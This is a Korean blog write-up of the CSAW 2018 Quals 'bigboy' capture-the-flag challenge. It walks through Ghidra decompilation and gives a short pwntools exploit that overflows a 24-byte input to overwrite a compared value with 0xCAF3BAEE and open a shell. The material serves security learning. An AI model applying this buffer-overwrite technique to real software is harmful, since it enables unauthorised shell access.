Kilkat

Csaw 2018 Quals bigboy 본문

Security/reverse engineering

Csaw 2018 Quals bigboy

KimKwangWoon 2024. 12. 4. 21:09

프로그램 실행시 사용자 입력을 기다리고, 입력값이 틀리면 system date가 출력됨

 

ghidra를 사용하여 decompile로 main을 확인해보면 아래와 같은 로직으로 구성되어 있는것을 확인할 수 있음

- 성공시 쉘 획득 or 실패시 date 출력

- 가장 핵심이 되는 부분은 사용자 입력값을 받는 0x18(dec=24) 값과, if 구문에서 비교 대상이 되는 해당 주소(-0x350c4512)임

 

if 구문에서 비교 대상이 되는 -0x350c4512 주소를 확인해보면 다음과 같음

 

최종 목표는 /bin/bash 쉘을 획득하는 것이 목표이기 때문에 입력값 0x18(24) 바이트 중 20바이트를 null 값으로 채운 후 if 구문에서 값 비교가 되는 0xcaf3baee 값을 넣어서 exploit 코드를 구성하면됨

from pwn import *

null = b'\x00' * 20
value = 0xCAF3BAEE
little_endian_value = p32(value)

payload = null + little_endian_value

target = process('./boi')
target.send(payload)
target.interactive()

 

성공💣

 


 

https://github.com/osirislab/CSAW-CTF-2018-Quals/tree/master/pwn/bigboy

 

CSAW-CTF-2018-Quals/pwn/bigboy at master · osirislab/CSAW-CTF-2018-Quals

Repo for CSAW CTF 2018 Quals challenges. Contribute to osirislab/CSAW-CTF-2018-Quals development by creating an account on GitHub.

github.com

Comments